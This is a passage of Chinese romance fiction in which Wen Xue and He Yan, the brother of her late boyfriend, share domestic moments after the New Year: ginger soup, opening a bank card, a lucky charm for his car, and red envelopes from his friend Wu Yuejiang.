贺岩也不勉强,带着她去停车场取车。从商场地库出来时,天色也暗了下来,雪籽沙沙地砸在挡风玻璃上,雨刮刮个不停,路上堵了好一会儿,等他们到筒子楼楼下时,已经很晚了。
两人随便吃了点东西当晚餐,闻雪要收拾碗筷,贺岩板着脸要把她赶回房间,就这几只碗,他三下两下就能洗完。
一向对他言听计从的闻雪这次却一反常态,说什么都不肯走,“不要,你手还没好。”
贺岩无语,也就只有她把这几个水泡当回事。
他点点下巴,示意她走:“别废话,这里冷,回你的房间去。”
闻雪心生恼意,明明都跟他说得很清楚了,感染了会很严重,要去医院,他却完全不在意,她急得喊了声:“别烦人,贺岩!”
为什么要这样,为什么一点都不把自己的身体当回事?
贺岩顿住,被她这直呼姓名的一出弄懵了。
她却绷着脸挤开了他,一把抢过抹布,沉默地站在水池前,哗啦啦地洗碗。
不算宽的厨房里,他僵硬地站在一边,她吭哧吭哧刷碗,也许是心里带着气,以往觉得冰凉刺骨的水,今天却没有感觉。
贺岩总算回过神来,靠近一步,“你刚才叫我什么?”
闻雪垂着头,手上都是洗洁精搓出来的泡沫,不肯承认,闷声道:“你听错了,我刚没说话。”
贺岩气笑了。
她脾气居然比他更大,洗完碗后,目不斜视地绕过他走出厨房,还真的一眼都没看他。
贺岩:“?”
她这是什么意思?
他不让她洗碗,她还生气了?
他双手叉着腰在厨房里来回踱步怀疑人生,余光扫见被万年放在小竹筐里的老姜。今天上山下山的路格外的长,走了好久,他一点事都没有,但她被冻得脸都红了,思索片刻,他一股脑把老姜都拿出来洗好,不一会儿,厨房传来剁砧板的声响。
闻雪回屋,生了会儿闷气后,将电影票根拿出来夹在绿色的笔记本里。
这厚厚的笔记本里有不少电影票。
很多场都是在大学附近的影院看的,她跟贺恒都喜欢看电影,有事没事就蹲便宜票,他们约会去的最多的地方就是电影院。她慢慢坐下来,垂下眼,一张一张翻着,情绪就好像是病毒,飘在空气中,而她现在的抵抗力很弱,稍有不慎,低落跟茫然就会像一张网将她扑倒,令前一分钟所拥有的快乐瞬间消失得无影无踪。
她目光找不到落脚点,只能无措地游移,忽地,不经意一抹红色闯进她的视野,她怔了怔,缓慢的思绪又恢复正常运转,记起这是红包,是贺岩给她的压岁钱。
很厚,很鼓,险些要把红包撑破。
她探出手将它从包里拿出来,迟疑了一瞬,还是拆开,凝住心神一张一张数着,八千整。
…
叩叩叩——
闻雪的脑子全都被这笔钱占满,她在想她该怎么处理最好,敲门声打断了她的思索。她像做错事一样,赶忙将红包塞到抱枕下,再三确定不会被门口的贺岩看到后,她才开门,开门后想起刚才在厨房的一出,又将脸上的笑意收敛。
贺岩端着一只碗站在门口,他的视线在她脸上巡视,语气也有些不自在,“姜汤驱寒,你把它喝了。”
闻雪闻到一股辛辣的生姜味,已经想往后躲了,这是报复吗?
她想说她今天的保暖措施做得很好,她一定不会着凉感冒,但话到嘴边,触及他深沉的目光又咽了下去,她顺从地接过碗,“我等它稍微凉一点再喝。”
“行。”
贺岩知道她不会阳奉阴违,简单交待后转身离开,留下她看着这满满一碗姜汤露出一副壮士扼腕的悲壮表情。
从三楼下到二楼,贺岩迎面撞上了约会回来的娜娜跟万年,两人甜蜜地手牵手,即将擦身而过时,贺岩踏下几级台阶,站定后说道:“对了,厨房有姜汤,你俩记得喝。”
他本来只想煮一碗,谁知没控制好量,一不留神煮了大半锅。
说完,他没顾上看他们的反应,匆匆回自己的房间,脚步声逐渐远去。
小情侣你看我,我看你,还以为自己出现了幻听。两人晕乎乎地来了三楼厨房,揭开锅盖,里面是用料足的热腾腾的姜汤,娜娜心情复杂极了,感慨不已,“岩哥有时候真的很不错……”
虽说这句话是公认的事实,但在这里的人都清楚,贺岩是一个内敛的人,此时此刻,面对这一锅姜汤,谁见了不得说一声这就是硬汉柔情。
万年感动地说:“岩哥肯定是心疼我们没回老家过年。”
娜娜吸吸鼻子,“还真别说,今天好冷,岩哥确实有心了。”
一人盛了一碗姜汤,咕咚咕咚喝着,辣得嘶嘶叫,依然用眼神互相监督,今天就是辣死,撑死,把命豁出去也得把这锅爱心姜汤全都干完。
另一边,闻雪窝在沙发上,端着碗轻啜,被辣得皱着鼻子,她喝得很慢,偶尔停一停,拿手机搜索编织平安扣的视频,细细研究每一个步骤,慢吞吞地便将这碗姜汤喝得一干二净,如他所说,确实驱寒,喝完后,身体开始发热,鼻尖都沁出了汗。
她想了想,切换到跟他的对话框,主动编辑消息发送:【喝完了。】
他回得很快,像是早就等着了:【涂药了。】
闻雪微微一怔,眉眼俱笑:【^^】
这次他是过了好几分钟才回,似是妥协之后的不情不愿:【嗯】
26 026.
初七过后,公司同事陆陆续续返工。
这天一大清早,闻雪将另外开一张卡这件事提上日程,她目前有一本存折和一张卡,存折是奶奶留给她的,对她意义非凡,她不想换掉,钱包里的卡是大学入学前办的,用来交学费什么的。
贺岩之前往她钱包塞的现金她还没用完,他又给了数目不算小的压岁钱,思来想去,她决定单独办张卡用来存这些钱。
感情上,她不想跟他见外,她知道他很想照顾她,像曾经照顾贺恒那样,他的种种遗憾,积压着需要有一个出口,所以她不会再拒绝。
可理智告诉她,她是闻雪,不是贺恒,她跟贺岩没有血缘关系,用他的每一笔钱,她心里都该有点数。
或许未来等她毕业参加工作了,她可以用他们都能接受的方式,一点一点回馈给他。
贺岩压根就不懂她心里的百转千回,她说想办卡,他也不会多问,清晨在吃过早餐后,便开车载她去了离得比较近的网点,附近停车位全被人占了,他担心被人贴条,只好让她一个人进去。
她下车时,他不放心地问:“你一个人能行?”
闻雪听了这话很无奈。
她不知道自己在他心目中究竟是个什么脆弱不堪的形象,明明她都二十岁了,是个成年人,他却总把她当生活不能自理的人对待,可能是那几天跟他叫板过,她多了点底气,弯腰将脑袋探进车内,“只要我进去不是为了抢钱,我一个人就能行。”
说完,她赶忙关上车门,转身就蹬蹬蹬地往银行里奔。
只能说有胆量,但不太多。
自从她气恼地对他直呼其名,并且还让他别烦人,贺岩对她冒出的这些话已经不意外了。相处越多,对彼此都日渐了解,其实仔细想想,能把贺恒那个犟种治得服服帖帖的人,又能软到哪里去?
有句话说得好,人不可貌相,用在闻雪身上再合适不过。
贺岩失笑着摇摇头,他靠边停着,随时注意外面的动向。
闻雪运气不错,她进银行的时候,里面没几个人,她利索取号,接过工作人员递来的申请表,攥着笔开始认真填写个人信息,笔尖在接收动态信息的电话号码上略作停顿。
只犹豫了几秒,看了眼屏幕上滚动的号码,离她还有两个人,应该还有充足的时间。
思及此,她拿着这张表匆匆跑出银行,扫视一圈,在雾气蒙蒙中很轻松地找到了贺岩的车,她奔过去,他早就看到了她,还没等她来到车旁,他已经降下了车窗,问:“这么快?”
“不是,还没轮到我,就是……”她顿了顿,“我想留你的电话号码。”
贺岩若有所思,嗯了声,“然后呢?”
“然后可能要发验证码,你……”
她的意思是让他注意手机,等她给他打电话时他及时把号码报给她就行,结果她话还没说完,贺岩长臂一伸,直接将手机递给她,没所谓地说:“行,你自己看,我手机没设密码。”
闻雪微愣,下意识地接了过来,哎了声,她真的不是这个意思。
黑色手机还有着他的体温。
她呆了一会儿,担心会过号,回过神来后拿着他的手机又往里冲。
柜台员工办事效率很高,她很顺利拿到了她人生中的第二张卡,又将那八千块存了进去。回想办第一张卡的种种,有种恍如隔世的错觉,那个时候的她一定想不到,两年不到,当她办第二张时,陪伴的人,竟然从贺恒变成了贺岩。
她的心情意外地很平静,只是在回到车上,将手机还给贺岩时,她没忍住,小声地给他提建议,“你最好还是给手机设个密码,比较保险,安全。”
贺岩发动引擎,注意侧方来车,转动方向盘的同时,不甚在意地说:“行,你帮我设置。”
闻雪沉默几秒:“那你要说个密码。”
“随便。”
这些细枝末节的事,贺岩从来都没放在心上。
闻雪第一次见这样随便的人,但他的回答完全在她的预料之中,轻声道:“你的生日怎么样?比较好记。”
贺岩也没多想,报了个数字,她帮他设置好密码,又趁他在专注开车不会注意到她的小心思,她悄悄地、不动声色地从包里拿出自己的手机,记下他的生日,顿时心满意足,唇角翘起,很想为自己点赞。
她觉得自己还是很聪明的。
…
他们今天的行程很多,从银行出来又去了医院,双手空空进去,出来的时候又拎着一大兜的中药。想到自己吃苦的日子还远远没有结束,闻雪唉声叹气,愁眉苦脸。
贺岩觉得好笑,故意问道:“以后还敢不敢了?”
他当时送她到宿舍楼下的话,敢情她是一个标点符号都没听进去。
不好好吃饭,也不好好休息,一天天的就知道折腾自己的身体。
闻雪抿了下唇,充耳不闻,视线扫过那个平安挂件,怔怔地看着,等吉普车在筒子楼前停稳后,她抓着安全带鼓起勇气道:“车上的挂件都褪色了。”
贺岩起初不知道她说的是什么,顺着她的目光看过去,挑了下眉,随意抬手指指,“你说这个?”
“嗯。”
“就是个摆设,是上个车主的。”
闻雪知道这是他是从熟人那里买的二手车,确定这个平安挂件不是哪个特别的人送的以后,她肩膀一松,“要不换个新的吧。”
她总觉得,褪色了的挂件不太好。
贺岩正想说费那麻烦事做什么,余光瞥见她拉开包包拉链,小心地从里拿出一个编好的平安扣,他愣了愣,她侧目看向他,迟疑着将平安扣放在扶手箱上,柔声解释:“初一那天去庙里,我看有人排队,也跟着求了个平安符,塞在了这里面,不知道有没有用。”
他是贺恒在这个世界上仅存的血脉相连的亲人。
她希望他能够平安健康。
他也是这个世界上,用力地托着她,不让她坠落的人。
她希望他能够长命百岁。
贺岩似乎在出神,神情分外严肃,目光一寸寸地打量这个小巧精致的平安扣,直到闻雪解开安全带下车,砰的关门声传来,他才如梦初醒,沉声叫住她,“东西不重?等着,我送你上楼。”
“不用啦。”闻雪提着一大袋中药液,肯定是有点重,但她没有他想象的那么弱不禁风,她扬唇一笑,提醒他,“你不是还要去接越江哥吗?”
“没事,让他等着。”
绝大部分时候,贺岩的性子都很强势,说一不二,他都没把车熄火便匆匆下车,大步绕过车头,走到她面前,微微俯身接过她手中很沉的袋子。
由于他心里有微妙的不自在,他沉默不言地率先走进楼道,这次他没等她,上楼上得很快,闻雪还没上二楼,他便已经到了她的房门口,目光沉沉地盯着墙上的春联,几乎要凿出一个洞来。
闻雪不明所以,还以为他赶着去接吴越江,不想耽误他的时间,便也加快步伐上楼。
她一边往里小跑一边掏钥匙,到门口站定,要去接袋子,被他绷着脸侧身避开,她没办法,越发坚定了以后要调养身体的念头,她要吃好喝好,强身健体,让他知道她真的、真的没那么弱……
贺岩像一阵风似的飞快下楼。
嘴里叼着棒棒糖的汪远上楼,抬起手,一声“嘿,哥”还没说出口,耳畔一阵强劲的风刮过,迅速没了人影,楼梯道只剩下他。
汪远耸肩对着空气唱:“嘿,兄弟,我们好久不见你在哪里,嘿,朋友,如果真的是你请打招呼~”
贺岩回到车上,并没有立刻踩油门离开。
他一只手搭在方向盘上,一只手犹豫了几秒,还是拿起了扶手箱上的平安扣。很用心很精致,精致到再看向挂在后视镜上的廉价的褪色挂件,怎么看怎么不顺眼,必须得马上换下来扔掉。
…
机场人来人往。
吴越江这次的假期很长,倒也不是贺岩心疼兄弟,而是每逢佳节要相亲,吴越江也拗不过,去见了几个人,回程的机票一再改签,每当这时候,他就很羡慕贺岩,至少贺岩未来是像大多数普通人一般结婚生子,还是一人吃饱全家不饿,都没人指手画脚。
“你没事带这么多行李干什么?”
贺岩见他托运一个大的行李箱,手推一个小的行李箱,还背着个大背包,皱眉问道。
不知道的人还以为吴越江把家搬来了。
“因为我这个人很有人情味。”吴越江扶了扶眼镜框,随口回,“有个箱子里装着给妹妹带的东西,她姑她姨给她做的拖鞋织的毛衣,还有她闺蜜给她带的熏鱼卤菜,你还真别说,要不是我好说歹说劝住了,她那朋友还想拎几箱纯牛奶让我带来。”
每个字贺岩都懂,但连在一起,怎么理解起来就那么费劲?
他停下脚步问:“她拜托你的?”
吴越江点头又摇头,“也不算,过年那几天我晚上跟她聊天提的,她说不想麻烦我,什么麻烦不麻烦的,犯得着这么见外吗,她不也叫我一声哥?”
“你们还聊天?”
“对啊,她给我发拜年信息来着,”吴越江欣慰不已,看向表情寡淡的贺岩,只觉得孺子可教,“就聊了几句,对了,她说你带她去买衣服看电影了?”
“……”
贺岩垂下眼眸思索几秒,继续若无其事地往前走,步子又快又大,吴越江差点没跟上,只能骂骂咧咧问他是不是赶着去投胎。
两人乘坐电梯来到停车场,期间吴越江把贺岩当情绪垃圾桶,吐槽父母妹妹还有一干莫名其妙的亲戚,全程叭叭叭的,只得到贺岩心不在焉地一声“哦”。
到了车旁,吴越江习惯性地要到车尾开后备厢,被贺岩制止,“后备厢没空位,你放后座。”
“后备厢有什么?”
“闻雪过几天回学校的一些日用品。”
吴越江感慨着时间过得真快,一转眼妹妹就要开学了,顺手拉开了后座车门,看清后排堆放着的三个毛绒玩偶,瞠目结舌,“这还是你的车吗?”
贺岩不置可否。
吴越江难掩震惊地放好行李,又很诚实地抓起一个最可爱的玩偶抱在怀里上了副驾,见他专注地盯着某处,定睛一瞧,简直一头雾水,两元店随处可见的普通挂件,至于这般目不转睛吗?
正纳闷想着,身侧传来平淡的声音:“再看收费。”
27 027.
“还收费?你要脸吗?”
吴越江这话一出口,不等贺岩反唇相讥,他脑子灵光一闪,以笃定的口吻道:“懂了,是闻雪送的,对吧?”
贺岩眉梢微扬,没理会他,收回视线,发动引擎,车辆缓缓驶出停车场。
沉默就是默认。
况且别人不知道,他这个二十多年的异姓兄弟要是都看不出来贺岩是明目张胆在炫耀,那不如绝交好了。
“妹妹会不会也给我准备了一个?”
“别胡思乱想。”
“去你的!”
吴越江知道他心情不错,往后靠了靠,由衷感慨道:“不过话说回来,妹妹人真不错,脾气好,又细心,知冷知热,”说着说着,他想起了贺恒,难免五味杂陈,多般配的小情侣啊,“难怪以前咱弟弟紧张得跟什么似的。”
说起来,他大概是第一个知道贺恒早恋的人。
那时他还在读大学,某天晚上收到还在念高二的贺恒发来的消息,没头没尾又很丧气的一句话,哥,我好像有点神经病。
他大惊,以为孩子学习压力大,噼里啪啦打很多字熬了一锅心灵鸡汤准备悉心疏导。
结果臭小子下一句把他弄懵了,哥,我是真的有点病,班上有个男的有事没事就找她聊天,烦死了,你说他一个男的怎么那么多废话。
他满头问号,转头就把贺恒卖了,马不停蹄地将这事说给贺岩听,警报警报,一级警报,天要下雨,弟要早恋。
贺岩发了满屏的省略号过来表达亲哥的无语。
如今再回忆,只觉得那句话说得真好,当时只道是寻常。
“她给你发了什么信息。”车辆在公路上行驶着,操控方向盘的贺岩沉默了十来分钟,不经意地闲聊问道。
吴越江还没从过往中回过神来:“什么?”
“你不都说,她给你拜年了?”
“哦,就新年快乐啊。”
贺岩平静地嗯了声,专注开车,“她还跟你说了什么。”
吴越江早就习惯他这德行,过去贺恒在的时候他也是这样,“我问她过年开不开心,你有没有带她出去玩,她说你带她买了新衣服,放了烟花,还看了电影,她特别开心,就这些吧。”
“早教过你了,对妹妹不光是花钱上要舍得,你也得用点心思让她开心。”
贺岩神色自若地听着,眼里浮现很淡的笑意,“我还要你教?”
从机场到筒子楼,开了快两个小时才到,吴越江下车拿行李箱,只见驾驶座上的贺岩跟被胶水黏住般纹丝不动,没好气问道:“你被人点穴了?都不知道下来搭把手?”
“我还有事。”
“你能有什么事?”
贺岩不快地瞥他一眼:“洗车,没看见车上被你的箱子弄得都是灰?”
“……”
吴越江一脸匪夷所思,骂了句有病,确实有病,哥俩谁不认识谁,敷衍过了二十多年,一朝就染上洁癖了?
他被恶心到,拖着行李箱头也不回走进楼道,身后的黑色吉普车不作停留,轮胎摩擦地面,发出急促声响,在扬起的灰尘中驶离。
闻雪正坐在书桌前认真看书,上个学期的课她落下不少,考试成绩很早就出来了,虽然没挂科,但跟过去相比,不太理想。她知道无论如何她都不该荒废学业,落下的课她要一节一节补回来追上进度。
敲门声打断了她解题的思路,她侧耳听了会儿,不是贺岩,也不是娜娜。
是谁?
尽管困惑,她还是起身去开门,老旧的门没有猫眼,她却很放心,或许在她内心深处,贺岩所在的地方便意味着安全。
见门外是一脸笑容的吴越江,喊了声越江哥后,她下意识地探出脑袋去找贺岩的身影,没见着人。
吴越江了然,“他去洗车了,我来给你送点东西。”
闻雪这才注意到他手里的大包小包,没想到会有这么多,一时之间都惊呆了,缓过神来赶忙接过往里搬,吴越江想帮她,左腿都抬了起来,还没踏进去,及时想起了贺岩之前的叮嘱。
贺岩的疾言厉色不是针对某个人,而是警告在这里的每一个男人。
没事不要去闻雪房门口,有事也不要去。
她晚上洗澡的时候,谁也不能在外面转悠乱晃,不守规矩的人,就不要怪他不客气。
吴越江果断地把腿收了回来,又往外退了一步。
还是算了,他是有亲妹妹的人,自然更懂分寸。
“越江哥,麻烦你大老远帮我带这么重的东西过来……”闻雪心里很不好意思,她掂了掂,估计得十来斤,“要不我请你吃顿饭?”
“跟哥客气什么!”
吴越江满不在乎地摆摆手,打量她的脸色,面露微笑:“这一阵子没见,你现在的气色也越来越好了,这才对啊,没有什么比身体健康更重要。”
闻雪莞尔,“可能是最近吃得好,白天喝药,晚上又喝牛奶。”
前几天她和贺岩去超市买日用品,顺便测量了身高体重,打印出一张小票,她的体重还是很轻,但她心里清楚,比起刚放假那会儿,她肯定长肉了。
那张小票被贺岩拿走,装进了他的钱包夹层里。
吴越江很有共鸣,连连点头:“那就好,我也爱喝牛奶。”
说完,他左右张望,目光警惕,确定没人后,飞快地从口袋里搜出一个红包塞给她,“这是哥给你的压岁钱,拿着,答应哥别说出去啊,免得一个两个都来找我要。”
闻雪猝不及防被塞红包,她吓到了,立刻将双手背在身后,怎么也不肯拿。
吴越江像是早就预料到她会拒绝,然后他们之间会来一番拉扯,他实在羞于表演这样的戏份,干脆一溜烟就闪了,留下闻雪不知所措地看着掉在地上的红包。
她茫然片刻,捡起红包就往外追,一路飞奔到楼下,只看到吴越江那辆商务车绝尘而去,她急得想大喊,喂,别这样!
今天艳阳高照,洗车店开始排队,贺岩等了几分钟开始不耐烦,将车钥匙给学徒,晚上他再来提车。
都走出洗车店了,他骤然记起新换的平安挂件,担心店员洗车时把它弄湿,又折返回来,弯腰钻车里取下来小心地放进扶手箱里。
贺岩接着电话回筒子楼,直到快上楼时,这通电话才结束,刚到二楼,还没往里走,便意外看见闻雪鬼鬼祟祟蹲在吴越江房门前,他皱了下眉,大步走过去,同听到熟悉的脚步声仰起头的她四目相视。
“干什么?”
“我……”
闻雪如释重负,仿佛见到了救星,赶忙将快推进门缝里的红包抽了出来,白皙的手背上都沾了些灰尘,“越江哥突然给我一个红包,我想还回去。”
贺岩嘴角抽了抽,往人门缝里塞就是她还红包的方式?
他问:“包了多少。”
闻雪诧异地看他一眼,摇了摇头,“我没拆。”
事情发生得太过突然,她六神无主,就差将红包当烫手山芋,哪里敢拆。
就连贺岩给的压岁钱,她都是默默消化了好几天才接受。
贺岩常年跟钱打交道,轻描淡写瞟一眼就能从红包厚度大概推测有多少钱,却还是鼓励她,“拆开数数。”
闻雪“啊”了一声,咽下震惊的情绪,“哦。”
她记起吴越江的嘱咐,侧身躲了躲,一边点钞,一边用气息音小声地数着,一百,两百,三百……数着数着,她惊呼道:“好多,两千块!”
贺岩:“……”
她这样惊讶,他还以为老吴给的是二十万。
“还行吧。”他以一种很勉强的语气回她,“他给你,你就拿着。”
“可是……”
“拿着,又没多少钱。”
他漫不经心地想,一个八千,一个两千,这没什么,这很正常,毕竟她应该知道,哥跟哥之间也是有区别的。
“很多了……”闻雪小声道。
两千块的红包还叫没多少吗?
她活到这么大,都没收过几次两千块的红包。
“应该的,你都给他拜年了,他只要还是个人,就该给你压岁钱。”
闻雪错愕,群发一条“新年快乐”的消息也算拜年吗?
贺岩正要收回视线时,不经意瞥见红包背面隐约有字,他目光微顿,向她伸手,掌心朝上,“给我看看。”
“什么?”闻雪虽然不明白他的意图,还是马上把红包放他手里。
贺岩蹙眉看向红包上凌厉的字迹,看一句,便抬头扫她一眼。
[越江哥,谢谢你,你平日里对我的照顾已经够多了,真的不想你再破费
祝你身体健康,万事如意^^]
“怎么了?”闻雪见他半天不吭声,神情还如此严肃,她也不由得惴惴不安。
贺岩没说话,眼帘微垂,把一小沓现金从红包里抽出来递给她。
至于空了的红包,他随手往口袋里揣。
“没事,”他语气平淡,“钱你拿着花,也别费劲感谢他了,明天给我买早餐的时候,记得给他带一份就行。”
“喔,好。”
她愣愣地应了,转身闷头往楼梯那边走,在贺岩狐疑的注视中,又走回来,轻声问:“越江哥喜欢吃什么?”
贺岩静默数秒,“不知道。”
…
次日清晨。
吴越江兴致盎然地来了贺岩的房间坐下,他双手抱胸,扫视桌子上被堆得满满当当的早餐,陷入了沉思中,疑惑道:“还有人来吃吗?”
这是把谁当饭桶了?
“吃你的,哪来那么多废话?”
片刻后,坐在他对面的贺岩已经捧着碗喝了几口豆浆,慢条斯理地嚼着油条,一副见怪不怪的淡定模样。